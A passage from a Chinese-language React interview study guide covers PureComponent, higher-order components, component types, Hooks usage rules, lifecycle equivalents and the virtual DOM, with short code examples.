false来阻止页面的更新,从而减少不必要的render执行。React.PureComponent会自动执行 shouldComponentUpdate。 + +不过,pureComponent中的 shouldComponentUpdate() 进行的是**浅比较**,也就是说如果是引用数据类型的数据,只会比较不是同一个地址,而不会比较这个地址里面的数据是否一致。浅比较会忽略属性和或状态突变情况,其实也就是数据引用指针没有变化,而数据发生改变的时候render是不会执行的。如果需要重新渲染那么就需要重新开辟空间引用数据。PureComponent一般会用在一些纯展示组件上。 + +使用pureComponent的**好处**:当组件更新时,如果组件的props或者state都没有改变,render函数就不会触发。省去虚拟DOM的生成和对比过程,达到提升性能的目的。这是因为react自动做了一层浅比较。 + +### 7. Component, Element, Instance 之间有什么区别和联系? + +- **元素:** 一个元素`element`是一个普通对象(plain object),描述了对于一个DOM节点或者其他组件`component`,你想让它在屏幕上呈现成什么样子。元素`element`可以在它的属性`props`中包含其他元素(译注:用于形成元素树)。创建一个React元素`element`成本很低。元素`element`创建之后是不可变的。 +- **组件:** 一个组件`component`可以通过多种方式声明。可以是带有一个`render()`方法的类,简单点也可以定义为一个函数。这两种情况下,它都把属性`props`作为输入,把返回的一棵元素树作为输出。 +- **实例:** 一个实例`instance`是你在所写的组件类`component class`中使用关键字`this`所指向的东西(译注:组件实例)。它用来存储本地状态和响应生命周期事件很有用。 + +函数式组件(`Functional component`)根本没有实例`instance`。类组件(`Class component`)有实例`instance`,但是永远也不需要直接创建一个组件的实例,因为React帮我们做了这些。 + +### 8. React.createClass和extends Component的区别有哪些?:star: + +React.createClass和extends Component的bai区别主要在于: + +**(1)语法区别** + +- createClass本质上是一个**工厂函数**,extends的方式更加接近最新的ES6规范的class写法。两种方式在语法上的差别主要体现在方法的定义和静态属性的声明上。 +- createClass方式的方法定义使用逗号,隔开,因为creatClass本质上是一个函数,传递给它的是一个Object;而class的方式定义方法时务必谨记不要使用逗号隔开,这是ES6 class的语法规范。 + +**(2)propType 和 getDefaultProps** + +- React.createClass:通过proTypes对象和getDefaultProps()方法来设置和获取props. +- React.Component:通过设置两个属性propTypes和defaultProps + +**(3)状态的区别** + +- React.createClass:通过getInitialState()方法返回一个包含初始值的对象 +- React.Component:通过constructor设置初始状态 + +**(4)this区别** + +- React.createClass:会正确绑定this +- React.Component:由于使用了 ES6,这里会有些微不同,属性并不会自动绑定到 React 类的实例上。 + +**(5)Mixins** + +- React.createClass:使用 React.createClass 的话,可以在创建组件时添加一个叫做 mixins 的属性,并将可供混合的类的集合以数组的形式赋给 mixins。 +- 如果使用 ES6 的方式来创建组件,那么 `React mixins` 的特性将不能被使用了。 + +### 9. React 高阶组件是什么,和普通组件有什么区别,适用什么场景:star::star: + +官方解释∶ + +> 高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。 + +高阶组件(HOC)就是一个函数,且该函数接受一个组件作为参数,并返回一个新的组件,它只是一种组件的设计模式,这种设计模式是由react自身的组合性质必然产生的。我们将它们称为纯组件,因为它们可以接受任何动态提供的子组件,但它们不会修改或复制其输入组件中的任何行为。 + +```javascript +// hoc的定义 +function withSubscription(WrappedComponent, selectData) { + return class extends React.Component { + constructor(props) { + super(props); + this.state = { + data: selectData(DataSource, props) + }; + } + // 一些通用的逻辑处理 + render() { + // ... 并使用新数据渲染被包装的组件! + return ; + } + }; + +// 使用 +const BlogPostWithSubscription = withSubscription(BlogPost, + (DataSource, props) => DataSource.getBlogPost(props.id)); +``` + +**1)HOC的优缺点** + +- 优点∶逻辑服用、不影响被包裹组件的内部逻辑。 +- **缺点∶hoc传递给被包裹组件的props容易和被包裹后的组件重名,进而被覆盖** + +**2)适用场景** + +- 代码复用,逻辑抽象 +- 渲染劫持 +- State 抽象和更改 +- Props 更改 + +**3)具体应用例子** + +- **权限控制:** 利用高阶组件的 **条件渲染** 特性可以对页面进行权限控制,权限控制一般分为两个维度:页面级别和 页面元素级别 + +```javascript +// HOC.js +function withAdminAuth(WrappedComponent) { + return class extends React.Component { + state = { + isAdmin: false, + } + async UNSAFE_componentWillMount() { + const currentRole = await getCurrentUserRole(); + this.setState({ + isAdmin: currentRole === 'Admin', + }); + } + render() { + if (this.state.isAdmin) { + return ; + } else { + return (
    您没有权限查看该页面,请联系管理员!
    ); + } + } + }; +} + +// pages/page-a.js +class PageA extends React.Component { + constructor(props) { + super(props); + // something here... + } + UNSAFE_componentWillMount() { + // fetching data + } + render() { + // render page with data + } +} +export default withAdminAuth(PageA); + + +// pages/page-b.js +class PageB extends React.Component { + constructor(props) { + super(props); + // something here... + } + UNSAFE_componentWillMount() { + // fetching data + } + render() { + // render page with data + } +} +export default withAdminAuth(PageB); +``` + +- **组件渲染性能追踪:** 借助父组件子组件生命周期规则捕获子组件的生命周期,可以方便的对某个组件的渲染时间进行记录∶ + +```jsx +class Home extends React.Component { + render() { + return (

    Hello World.

    ); + } + } + function withTiming(WrappedComponent) { + return class extends WrappedComponent { + constructor(props) { + super(props); + this.start = 0; + this.end = 0; + } + UNSAFE_componentWillMount() { + super.componentWillMount && super.componentWillMount(); + this.start = Date.now(); + } + componentDidMount() { + super.componentDidMount && super.componentDidMount(); + this.end = Date.now(); + console.log(`${WrappedComponent.name} 组件渲染时间为 ${this.end - this.start} ms`); + } + render() { + return super.render(); + } + }; + } + + export default withTiming(Home); +``` + +注意:withTiming 是利用 反向继承 实现的一个高阶组件,功能是计算被包裹组件(这里是 Home 组件)的渲染时间。 + +- **页面复用** + +```javascript +const withFetching = fetching => WrappedComponent => { + return class extends React.Component { + state = { + data: [], + } + async UNSAFE_componentWillMount() { + const data = await fetching(); + this.setState({ + data, + }); + } + render() { + return ; + } + } +} + +// pages/page-a.js +export default withFetching(fetching('science-fiction'))(MovieList); +// pages/page-b.js +export default withFetching(fetching('action'))(MovieList); +// pages/page-other.js +export default withFetching(fetching('some-other-type'))(MovieList); +``` + +### 10. 对componentWillReceiveProps 的理解 + +该方法当`props`发生变化时执行,初始化`render`时不执行,在这个回调函数里面,你可以根据属性的变化,通过调用`this.setState()`来更新你的组件状态,旧的属性还是可以通过`this.props`来获取,这里调用更新状态是安全的,并不会触发额外的`render`调用。 + +**使用好处:** 在这个生命周期中,可以在子组件的render函数执行前获取新的props,从而更新子组件自己的state。 可以将数据请求放在这里进行执行,需要传的参数则从componentWillReceiveProps(nextProps)中获取。而不必将所有的请求都放在父组件中。于是该请求只会在该组件渲染时才会发出,从而减轻请求负担。 + +componentWillReceiveProps在初始化render的时候不会执行,它会在Component接受到新的状态(Props)时被触发,一般用于父组件状态更新时子组件的重新渲染。 + +### 11. 哪些方法会触发 React 重新渲染?重新渲染 render 会做些什么?:star::star: + +**(1)哪些方法会触发 react 重新渲染?** + +- **setState()方法被调用** + +setState 是 React 中最常用的命令,通常情况下,执行 setState 会触发 render。但是这里有个点值得关注,执行 setState 的时候不一定会重新渲染。当 setState 传入 null 时,并不会触发 render。 + +```javascript +class App extends React.Component { + state = { + a: 1 + }; + + render() { + console.log("render"); + return ( + +

    {this.state.a}

    + + + +
    + ); + } +} +``` + +- **父组件重新渲染** + +只要父组件重新渲染了,即使传入子组件的 props 未发生变化,那么子组件也会重新渲染,进而触发 render + +**(2)重新渲染 render 会做些什么?** + +- 会对新旧 VNode 进行对比,也就是我们所说的Diff算法。 +- 对新旧两棵树进行一个深度优先遍历,这样每一个节点都会一个标记,在到深度遍历的时候,每遍历到一和个节点,就把该节点和新的节点树进行对比,如果有差异就放到一个对象里面 +- 遍历差异对象,根据差异的类型,根据对应对规则更新VNode + +**React 的处理 render 的基本思维模式是每次一有变动就会去重新渲染整个应用。**在 Virtual DOM 没有出现之前,最简单的方法就是直接调用 innerHTML。Virtual DOM厉害的地方并不是说它比直接操作 DOM 快,而是说不管数据怎么变,都会尽量以最小的代价去更新 DOM。React 将 render 函数返回的虚拟 DOM 树与老的进行比较,从而确定 DOM 要不要更新、怎么更新。当 DOM 树很大时,遍历两棵树进行各种比对还是相当耗性能的,特别是在顶层 setState 一个微小的修改,默认会去遍历整棵树。尽管 React 使用高度优化的 Diff 算法,但是这个过程仍然会损耗性能. + +### 12. React如何判断什么时候重新渲染组件?:star: + +组件状态的改变可以因为`props`的改变,或者直接通过`setState`方法改变。组件获得新的状态,然后React决定是否应该重新渲染组件。只要组件的state发生变化,React就会对组件进行重新渲染。这是因为React中的`shouldComponentUpdate`方法默认返回`true`,这就是导致每次更新都重新渲染的原因。 + +当React将要渲染组件时会执行`shouldComponentUpdate`方法来看它是否返回`true`(组件应该更新,也就是重新渲染)。所以需要重写`shouldComponentUpdate`方法让它根据情况返回`true`或者`false`来告诉React什么时候重新渲染什么时候跳过重新渲染。 + +### 13. React声明组件有哪几种方法,有什么不同? + +React **声明组件**的三种方式: + +- 函数式定义的`无状态组件` +- ES5原生方式`React.createClass`定义的组件 +- ES6形式的`extends React.Component`定义的组件 + +**(1)无状态函数式组件** 它是为了创建纯展示组件,这种组件只负责根据传入的props来展示,不涉及到state状态的操作 组件不会被实例化,整体渲染性能得到提升,不能访问this对象,不能访问生命周期的方法 + +**(2)ES5 原生方式 React.createClass // RFC** React.createClass会自绑定函数方法,导致不必要的性能开销,增加代码过时的可能性。 + +**(3)E6继承形式 React.Component // RCC** 目前极为推荐的创建有状态组件的方式,最终会取代React.createClass形式;相对于 React.createClass可以更好实现代码复用。 + +**无状态组件相对于于后者的区别:** 与无状态组件相比,React.createClass和React.Component都是创建有状态的组件,这些组件是要被实例化的,并且可以访问组件的生命周期方法。 + +**React.createClass与React.Component区别:** + +**① 函数this自绑定** + +- React.createClass创建的组件,其每一个成员函数的this都有React**自动绑定**,函数中的this会被正确设置。 +- React.Component创建的组件,**其成员函数不会自动绑定this,需要开发者手动绑定,否则this不能获取当前组件实例对象。** + +**② 组件属性类型propTypes及其默认props属性defaultProps配置不同** + +- React.createClass在创建组件时,有关组件props的属性类型及组件默认的属性会作为组件实例的属性来配置,其中defaultProps是使用getDefaultProps的方法来获取默认组件属性的 +- React.Component在创建组件时配置这两个对应信息时,他们是作为组件类的属性,不是组件实例的属性,也就是所谓的类的静态属性来配置的。 + +**③ 组件初始状态state的配置不同** + +- React.createClass创建的组件,其状态state是通过`getInitialState`方法来配置组件相关的状态; +- React.Component创建的组件,其状态state是在`constructor`中像初始化组件属性一样声明的。 + +### 14. 对有状态组件和无状态组件的理解及使用场景:star::star: + +**(1)有状态组件** + +> 维护自生状态并有生命周期 + +**特点:** + +- 是类组件 +- 有继承 +- 可以使用this +- 可以使用react的生命周期 +- 使用较多,容易频繁触发生命周期钩子函数,影响性能 +- 内部使用 state,维护自身状态的变化,有状态组件根据外部组件传入的 props 和自身的 state进行渲染。 + +**使用场景:** + +- 需要使用到状态的。 +- 需要使用状态操作组件的(无状态组件的也可以实现新版本react hooks也可实现) + +**总结:** 类组件可以维护自身的状态变量,即组件的 state ,类组件还有不同的生命周期方法,可以让开发者能够在组件的不同阶段(挂载、更新、卸载),对组件做更多的控制。类组件则既可以充当无状态组件,也可以充当有状态组件。当一个类组件不需要管理自身状态时,也可称为无状态组件。 + +**(2)无状态组件** **特点:** + +> + +- 不依赖自身的状态state +- 可以是类组件或者函数组件。 +- 可以完全避免使用 this 关键字。(由于使用的是箭头函数事件无需绑定) +- 有更高的性能。当不需要使用生命周期钩子时,应该首先使用无状态函数组件 +- 组件内部不维护 state ,只根据外部组件传入的 props 进行渲染的组件,当 props 改变时,组件重新渲染。 + +**使用场景:** + +- 组件不需要管理 state,纯展示 + +**优点:** + +- 简化代码、专注于 render +- 组件不需要被实例化,无生命周期,提升性能。 输出(渲染)只取决于输入(属性),无副作用 +- 视图和数据的解耦分离 + +:star:**缺点:** + +- 无法使用 ref +- 无生命周期方法 +- 无法控制组件的重渲染,因为无法使用shouldComponentUpdate 方法,当组件接受到新的属性时则会重渲染 + +**总结:** 组件内部状态且与外部无关的组件,可以考虑用状态组件,这样状态树就不会过于复杂,易于理解和管理。当一个组件不需要管理自身状态时,也就是无状态组件,应该优先设计为函数组件。比如自定义的 ` + + ); + } +} +``` + +可以看出,React 类组件内部预置了相当多的“现成的东西”等着我们去调度/定制,state 和生命周期就是这些“现成东西”中的典型。要想得到这些东西,难度也不大,只需要继承一个 React.Component 即可。 + +当然,这也是类组件的一个不便,它太繁杂了,对于解决许多问题来说,编写一个类组件实在是一个过于复杂的姿势。复杂的姿势必然带来高昂的理解成本,这也是我们所不想看到的。除此之外,由于开发者编写的逻辑在封装后是和组件粘在一起的,这就使得**类组件内部的逻辑难以实现拆分和复用。** + +**(2)函数组件**:函数组件就是以函数的形态存在的 React 组件。早期并没有 React-Hooks,函数组件内部无法定义和维护 state,因此它还有一个别名叫“无状态组件”。以下是一个函数组件: + +```javascript +function DemoFunction(props) { + const { text } = props + return ( +
    +

    {`函数组件接收的内容:[${text}]`}

    +
    + ); +} +``` + +相比于类组件,函数组件肉眼可见的特质自然包括轻量、灵活、易于组织和维护、较低的学习成本等。 + +通过对比,从形态上可以对两种组件做区分,它们之间的区别如下: + +- 类组件需要继承 class,函数组件不需要; +- 类组件可以访问生命周期方法,函数组件不能; +- 类组件中可以获取到实例化后的 this,并基于这个 this 做各种各样的事情,而函数组件不可以; +- 类组件中可以定义并维护 state(状态),而函数组件不可以; + +除此之外,还有一些其他的不同。通过上面的区别,我们不能说谁好谁坏,它们各有自己的优势。在 React-Hooks 出现之前,**类组件的能力边界明显强于函数组件。** + +实际上,类组件和函数组件之间,是面向对象和函数式编程这两套不同的设计思想之间的差异。而函数组件更加契合 React 框架的设计理念: + +React 组件本身的定位就是函数,一个输入数据、输出 UI 的函数。作为开发者,我们编写的是声明式的代码,而 React 框架的主要工作,就是及时地把声明式的代码转换为命令式的 DOM 操作,把数据层面的描述映射到用户可见的 UI 变化中去。这就意味着从原则上来讲,React 的数据应该总是紧紧地和渲染绑定在一起的,而类组件做不到这一点。**函数组件就真正地将数据和渲染绑定到了一起。函数组件是一个更加匹配其设计理念、也更有利于逻辑拆分与重用的组件表达形式。** + +为了能让开发者更好的的去编写函数式组件。于是,React-Hooks 便应运而生。 + +React-Hooks 是一套能够使函数组件更强大、更灵活的“钩子”。 + +React-Hooks 是一套能够使函数组件更强大、更灵活的“钩子”。 + +函数组件比起类组件少了很多东西,比如生命周期、对 state 的管理等。这就给函数组件的使用带来了非常多的局限性,导致我们并不能使用函数这种形式,写出一个真正的全功能的组件。而React-Hooks 的出现,就是为了帮助函数组件补齐这些(相对于类组件来说)缺失的能力。 + +如果说函数组件是一台轻巧的快艇,那么 React-Hooks 就是一个内容丰富的零部件箱。“重装战舰”所预置的那些设备,这个箱子里基本全都有,同时它还不强制你全都要,而是允许你自由地选择和使用你需要的那些能力,然后将这些能力以 Hook(钩子)的形式“钩”进你的组件里,从而定制出一个最适合你的“专属战舰”。 + +### 2. 为什么 useState 要使用数组而不是对象:star::star: + +useState 的用法: + +```javascript +const [count, setCount] = useState(0) +``` + +可以看到 useState 返回的是一个数组,那么为什么是返回数组而不是返回对象呢? + +这里用到了解构赋值,所以先来看一下ES6 的解构赋值: + +##### 数组的解构赋值 + +```javascript +const foo = [1, 2, 3]; +const [one, two, three] = foo; +console.log(one); // 1 +console.log(two); // 2 +console.log(three); // 3 +``` + +##### 对象的解构赋值 + +```javascript +const user = { + id: 888, + name: "xiaoxin" +}; +const { id, name } = user; +console.log(id); // 888 +console.log(name); // "xiaoxin" +``` + +看完这两个例子,答案应该就出来了: + +- 如果 useState 返回的是数组,那么使用者可以对数组中的元素命名,代码看起来也比较干净 +- 如果 useState 返回的是对象,在解构对象的时候必须要和 useState 内部实现返回的对象同名,想要使用多次的话,必须得设置别名才能使用返回值 + +下面来看看如果 useState 返回对象的情况: + +```javascript +// 第一次使用 +const { state, setState } = useState(false); +// 第二次使用 +const { state: counter, setState: setCounter } = useState(0) +``` + +这里可以看到,返回对象的使用方式还是挺麻烦的,更何况实际项目中会使用的更频繁。 **总结:\**useState 返回的是 array 而不是 object 的原因就是为了\**降低使用的复杂度**,返回数组的话可以直接根据顺序解构,而返回对象的话要想使用多次就需要定义别名了。 + +### 3. React Hooks 解决了哪些问题?:star::star: + +React Hooks 主要解决了以下问题: + +**(1)在组件之间复用状态逻辑很难** + +React 没有提供将可复用性行为“附加”到组件的途径(例如,把组件连接到 store)解决此类问题可以使用 render props 和 高阶组件。但是这类方案需要重新组织组件结构,这可能会很麻烦,并且会使代码难以理解。由 providers,consumers,高阶组件,render props 等其他抽象层组成的组件会形成“嵌套地狱”。尽管可以在 DevTools 过滤掉它们,但这说明了一个更深层次的问题:React 需要为共享状态逻辑提供更好的原生途径。 + +可以使用 Hook 从组件中提取状态逻辑,使得这些逻辑可以单独测试并复用。Hook 使我们在无需修改组件结构的情况下复用状态逻辑。 这使得在组件间或社区内共享 Hook 变得更便捷。 + +**(2)复杂组件变得难以理解** + +在组件中,每个生命周期常常包含一些不相关的逻辑。例如,组件常常在 componentDidMount 和 componentDidUpdate 中获取数据。但是,同一个 componentDidMount 中可能也包含很多其它的逻辑,如设置事件监听,而之后需在 componentWillUnmount 中清除。相互关联且需要对照修改的代码被进行了拆分,而完全不相关的代码却在同一个方法中组合在一起。如此很容易产生 bug,并且导致逻辑不一致。 + +在多数情况下,不可能将组件拆分为更小的粒度,因为状态逻辑无处不在。这也给测试带来了一定挑战。同时,这也是很多人将 React 与状态管理库结合使用的原因之一。但是,这往往会引入了很多抽象概念,需要你在不同的文件之间来回切换,使得复用变得更加困难。 + +为了解决这个问题,Hook 将组件中相互关联的部分拆分成更小的函数(比如设置订阅或请求数据),而并非强制按照生命周期划分。你还可以使用 reducer 来管理组件的内部状态,使其更加可预测。 + +**(3)难以理解的 class** + +除了代码复用和代码管理会遇到困难外,class 是学习 React 的一大屏障。我们必须去理解 JavaScript 中 this 的工作方式,这与其他语言存在巨大差异。还不能忘记绑定事件处理器。没有稳定的语法提案,这些代码非常冗余。大家可以很好地理解 props,state 和自顶向下的数据流,但对 class 却一筹莫展。即便在有经验的 React 开发者之间,对于函数组件与 class 组件的差异也存在分歧,甚至还要区分两种组件的使用场景。 + +为了解决这些问题,Hook 使你在非 class 的情况下可以使用更多的 React 特性。 从概念上讲,React 组件一直更像是函数。而 Hook 则拥抱了函数,同时也没有牺牲 React 的精神原则。Hook 提供了问题的解决方案,无需学习复杂的函数式或响应式编程技术 + +### 4. React Hook 的使用限制有哪些? + +React Hooks 的限制主要有两条: + +- 不要在循环、条件或嵌套函数中调用 Hook; +- 在 React 的函数组件中调用 Hook。 + +那为什么会有这样的限制呢?Hooks 的设计初衷是为了改进 React 组件的开发模式。在旧有的开发模式下遇到了三个问题。 + +- 组件之间难以复用状态逻辑。过去常见的解决方案是高阶组件、render props 及状态管理框架。 +- 复杂的组件变得难以理解。生命周期函数与业务逻辑耦合太深,导致关联部分难以拆分。 +- 人和机器都很容易混淆类。常见的有 this 的问题,但在 React 团队中还有类难以优化的问题,希望在编译优化层面做出一些改进。 + +这三个问题在一定程度上阻碍了 React 的后续发展,所以为了解决这三个问题,Hooks **基于函数组件**开始设计。然而第三个问题决定了 Hooks 只支持函数组件。 + +那为什么不要在循环、条件或嵌套函数中调用 Hook 呢?因为 Hooks 的设计是基于数组实现。在调用时按顺序加入数组中,如果使用循环、条件或嵌套函数很有可能导致数组取值错位,执行错误的 Hook。当然,实质上 React 的源码里不是数组,是链表。 + +这些限制会在编码上造成一定程度的心智负担,新手可能会写错,为了避免这样的情况,可以引入 ESLint 的 Hooks 检查插件进行预防。 + +### 5. useEffect 与 useLayoutEffect 的区别:star: + +**(1)共同点** + +- **运用效果:** useEffect 与 useLayoutEffect 两者都是用于处理副作用,这些副作用包括改变 DOM、设置订阅、操作定时器等。在函数组件内部操作副作用是不被允许的,所以需要使用这两个函数去处理。 +- **使用方式:** useEffect 与 useLayoutEffect 两者底层的函数签名是完全一致的,都是调用的 mountEffectImpl方法,在使用上也没什么差异,基本可以直接替换。 + +**(2)不同点** + +- **使用场景:** useEffect 在 React 的渲染过程中是被异步调用的,用于绝大多数场景;而 useLayoutEffect 会在所有的 DOM 变更之后同步调用,主要用于处理 DOM 操作、调整样式、避免页面闪烁等问题。也正因为是同步处理,所以需要避免在 useLayoutEffect 做计算量较大的耗时任务从而造成阻塞。 +- **使用效果:** useEffect是按照顺序执行代码的,改变屏幕像素之后执行(先渲染,后改变DOM),当改变屏幕内容时可能会产生闪烁;useLayoutEffect是改变屏幕像素之前就执行了(会推迟页面显示的事件,先改变DOM后渲染),不会产生闪烁。**useLayoutEffect总是比useEffect先执行。** + +在未来的趋势上,两个 API 是会长期共存的,暂时没有删减合并的计划,需要开发者根据场景去自行选择。React 团队的建议非常实用,如果实在分不清,先用 useEffect,一般问题不大;如果页面有异常,再直接替换为 useLayoutEffect 即可。 + +### 6. React Hooks在平时开发中需要注意的问题和原因 + +**(1)不要在循环,条件或嵌套函数中调用Hook,必须始终在 React函数的顶层使用Hook** + +这是因为React需要利用调用顺序来正确更新相应的状态,以及调用相应的钩子函数。一旦在循环或条件分支语句中调用Hook,就容易导致调用顺序的不一致性,从而产生难以预料到的后果。 + +**(2)使用useState时候,使用push,pop,splice等直接更改数组对象的坑** + +使用push直接更改数组无法获取到新值,应该采用析构方式,但是在class里面不会有这个问题。代码示例: + +```jsx +function Indicatorfilter() { + let [num,setNums] = useState([0,1,2,3]) + const test = () => { + // 这里坑是直接采用push去更新num + // setNums(num)是无法更新num的 + // 必须使用num = [...num ,1] + num.push(1) + // num = [...num ,1] + setNums(num) + } +return ( +
    +
    测试
    +
    + {num.map((item,index) => ( +
    {item}
    + ))} +
    +
    + ) +} + +class Indicatorfilter extends React.Component{ + constructor(props:any){ + super(props) + this.state = { + nums:[1,2,3] + } + this.test = this.test.bind(this) + } + + test(){ + // class采用同样的方式是没有问题的 + this.state.nums.push(1) + this.setState({ + nums: this.state.nums + }) + } + + render(){ + let {nums} = this.state + return( +
    +
    测试
    +
    + {nums.map((item:any,index:number) => ( +
    {item}
    + ))} +
    +
    + + ) + } +} +``` + +(3)**useState设置状态的时候,只有第一次生效,后期需要更新状态,必须通过useEffect** + +TableDeail是一个公共组件,在调用它的父组件里面,我们通过set改变columns的值,以为传递给TableDeail 的 columns是最新的值,所以tabColumn每次也是最新的值,但是实际tabColumn是最开始的值,不会随着columns的更新而更新: + +```javascript +const TableDeail = ({ + columns, +}:TableData) => { + const [tabColumn, setTabColumn] = useState(columns) +} + +// 正确的做法是通过useEffect改变这个值 +const TableDeail = ({ + columns, +}:TableData) => { + const [tabColumn, setTabColumn] = useState(columns) + useEffect(() =>{setTabColumn(columns)},[columns]) +} +``` + +**(4)善用useCallback** + +父组件传递给子组件事件句柄时,如果我们没有任何参数变动可能会选用useMemo。但是每一次父组件渲染子组件即使没变化也会跟着渲染一次。 + +**(5)不要滥用useContext** + +可以使用基于 useContext 封装的状态管理工具。 + +### 7. React Hooks 和生命周期的关系? + +**函数组件** 的本质是函数,没有 state 的概念的,因此**不存在生命周期**一说,仅仅是一个 **render 函数**而已。 但是引入 **Hooks** 之后就变得不同了,它能让组件在不使用 class 的情况下拥有 state,所以就有了生命周期的概念,所谓的生命周期其实就是 `useState`、 `useEffect()` 和 `useLayoutEffect()` 。 + +即:**Hooks 组件(使用了Hooks的函数组件)有生命周期,而函数组件(未使用Hooks的函数组件)是没有生命周期的**。 + +下面是具体的 class 与 Hooks 的**生命周期对应关系**: + +- `constructor`:函数组件不需要构造函数,可以通过调用 `**useState 来初始化 state**`。如果计算的代价比较昂贵,也可以传一个函数给 `useState`。 + +```javascript +const [num, UpdateNum] = useState(0) +``` + +- `getDerivedStateFromProps`:一般情况下,我们不需要使用它,可以在**渲染过程中更新 state**,以达到实现 `getDerivedStateFromProps` 的目的。 + +```javascript +function ScrollView({row}) { + let [isScrollingDown, setIsScrollingDown] = useState(false); + let [prevRow, setPrevRow] = useState(null); + if (row !== prevRow) { + // Row 自上次渲染以来发生过改变。更新 isScrollingDown。 + setIsScrollingDown(prevRow !== null && row > prevRow); + setPrevRow(row); + } + return `Scrolling down: ${isScrollingDown}`; +} +``` + +React 会立即退出第一次渲染并用更新后的 state 重新运行组件以避免耗费太多性能。 + +- `shouldComponentUpdate`:可以用 `**React.memo**` 包裹一个组件来对它的 `props` 进行浅比较 + +```javascript +const Button = React.memo((props) => { // 具体的组件}); +``` + +注意:`**React.memo 等效于**` `**PureComponent**`,它只浅比较 props。这里也可以使用 `useMemo` 优化每一个节点。 + +- `render`:这是函数组件体本身。 +- `componentDidMount`, `componentDidUpdate`: `useLayoutEffect` 与它们两的调用阶段是一样的。但是,我们推荐你**一开始先用 useEffect**,只有当它出问题的时候再尝试使用 `useLayoutEffect`。`useEffect` 可以表达所有这些的组合。 + +```javascript +// componentDidMount +useEffect(()=>{ + // 需要在 componentDidMount 执行的内容 +}, []) +useEffect(() => { + // 在 componentDidMount,以及 count 更改时 componentDidUpdate 执行的内容 + document.title = `You clicked ${count} times`; + return () => { + // 需要在 count 更改时 componentDidUpdate(先于 document.title = ... 执行,遵守先清理后更新) + // 以及 componentWillUnmount 执行的内容 + } // 当函数中 Cleanup 函数会按照在代码中定义的顺序先后执行,与函数本身的特性无关 +}, [count]); // 仅在 count 更改时更新 +``` + +**请记得 React 会等待浏览器完成画面渲染之后才会延迟调用 ,因此会使得额外操作很方便** + +- `componentWillUnmount`:相当于 `useEffect `里面返回的 `cleanup` 函数 + +```javascript +// componentDidMount/componentWillUnmount +useEffect(()=>{ + // 需要在 componentDidMount 执行的内容 + return function cleanup() { + // 需要在 componentWillUnmount 执行的内容 + } +}, []) +``` + +- `componentDidCatch` and `getDerivedStateFromError`:目前**还没有**这些方法的 Hook 等价写法,但很快会加上。 + +| **class 组件** | **Hooks 组件** | +| ------------------------ | ------------------------- | +| constructor | useState | +| getDerivedStateFromProps | useState 里面 update 函数 | +| shouldComponentUpdate | useMemo | +| render | 函数本身 | +| componentDidMount | useEffect | +| componentDidUpdate | useEffect | +| componentWillUnmount | useEffect 里面返回的函数 | +| componentDidCatch | 无 | +| getDerivedStateFromError | 无 | + +### 8. useCallback :star: + +返回一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 回调函数。 + +把内联回调函数及依赖项数组作为参数传入 `useCallback`,它将返回该回调函数的 memoized 版本,该回调函数仅在某个依赖项改变时才会更新。当你把回调函数传递给经过优化的并使用引用相等性去避免非必要渲染(例如 `shouldComponentUpdate`)的子组件时,它将非常有用。 + +`useCallback(fn, deps)` 相当于 `useMemo(() => fn, deps)`。 + +### 9. useMemo :star: + +```js +const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]); +``` + +返回一个 memoized 值,类似于Vue的计算属性,具有缓存(记忆) + +它仅会在某个依赖项改变时才重新计算 memoized 值。这种优化有助于避免在每次渲染时都进行高开销的计算。 + +传入 `useMemo` 的函数会在渲染期间执行(尚未交付)。请不要在这个函数内部执行不应该在渲染期间内执行的操作,诸如副作用这类的操作属于 `useEffect` 的适用范畴,而不是 `useMemo`。 + +### 10. memo :star: + +```js +import {memo} from "react" + +const MyComponent = memo(function MyComponent(props) { + /* 使用 props 渲染 */ +}); +``` + +`React.memo` 是高阶组件HOC。 + +如果你的组件在相同 props 的情况下渲染相同的结果,那么你可以通过将其包装在 `React.memo` 中调用,以此通过记忆组件渲染结果的方式来提高组件的性能表现。这意味着在这种情况下,React 将跳过渲染组件的操作并直接复用最近一次渲染的结果。 + +如果其实现中还拥有 `useState`,`useReducer` 或 `useContext` 的 Hook,当 state 或 context 发生变化时,它仍会重新渲染。 + +默认情况下其只会对复杂对象做浅层对比,自定义比较依赖第二个参数 + +```js +function MyComponent(props) { + /* 使用 props 渲染 */ +} +function areEqual(prevProps, nextProps) { + /* + 如果把 nextProps 传入 render 方法的返回结果与 + 将 prevProps 传入 render 方法的返回结果一致则返回 true, + 否则返回 false + */ +} +export default React.memo(MyComponent, areEqual); +``` + +### 11. [执行和清除副作用的时机](执行和清除Effect的时机.md)? :star::star: + + + +## 八、虚拟DOM + +### 1. 对虚拟 DOM 的理解?虚拟 DOM 主要做了什么?虚拟 DOM 本身是什么? :star::star: + +从本质上来说,Virtual Dom是一个JavaScript对象,通过对象的方式来表示DOM结构。将页面的状态抽象为JS对象的形式,配合不同的渲染工具,使**跨平台**渲染成为可能。通过事务处理机制,将多次DOM修改的结果一次性的更新到页面上,从而有效的减少页面渲染的次数,减少修改DOM的重绘重排次数,提高渲染性能。 + +虚拟DOM是对DOM的抽象,这个对象是更加轻量级的对DOM的描述。它设计的最初目的,就是更好的跨平台,比如node.js就没有DOM,如果想实现SSR,那么一个方式就是借助虚拟dom,因为虚拟dom本身是js对象。 在代码渲染到页面之前,vue或者react会把代码转换成一个对象(虚拟DOM)。以对象的形式来描述真实dom结构,最终渲染到页面。在每次数据发生变化前,虚拟dom都会缓存一份,变化之时,现在的虚拟dom会与缓存的虚拟dom进行比较。在vue或者react内部封装了diff算法,通过这个算法来进行比较,渲染时修改改变的变化,原先没有发生改变的通过原先的数据进行渲染。 + +另外现代前端框架的一个基本要求就是无须手动操作DOM,一方面是因为手动操作DOM无法保证程序性能,多人协作的项目中如果review不严格,可能会有开发者写出性能较低的代码,另一方面更重要的是省略手动DOM操作可以大大提高开发效率。 + +**为什么要用 Virtual DOM:** + +**(1)保证性能下限,在不进行手动优化的情况下,提供过得去的性能** + +下面对比一下修改DOM时真实DOM操作和Virtual DOM的过程,来看一下它们重排重绘的性能消耗∶ + +- 真实DOM∶ 生成HTML字符串+ 重建所有的DOM元素 +- Virtual DOM∶ 生成vNode+ DOMDiff+必要的DOM更新 + +Virtual DOM的更新DOM的准备工作耗费更多的时间,也就是JS层面,相比于更多的DOM操作它的消费是极其便宜的。尤雨溪在社区论坛中说道∶ 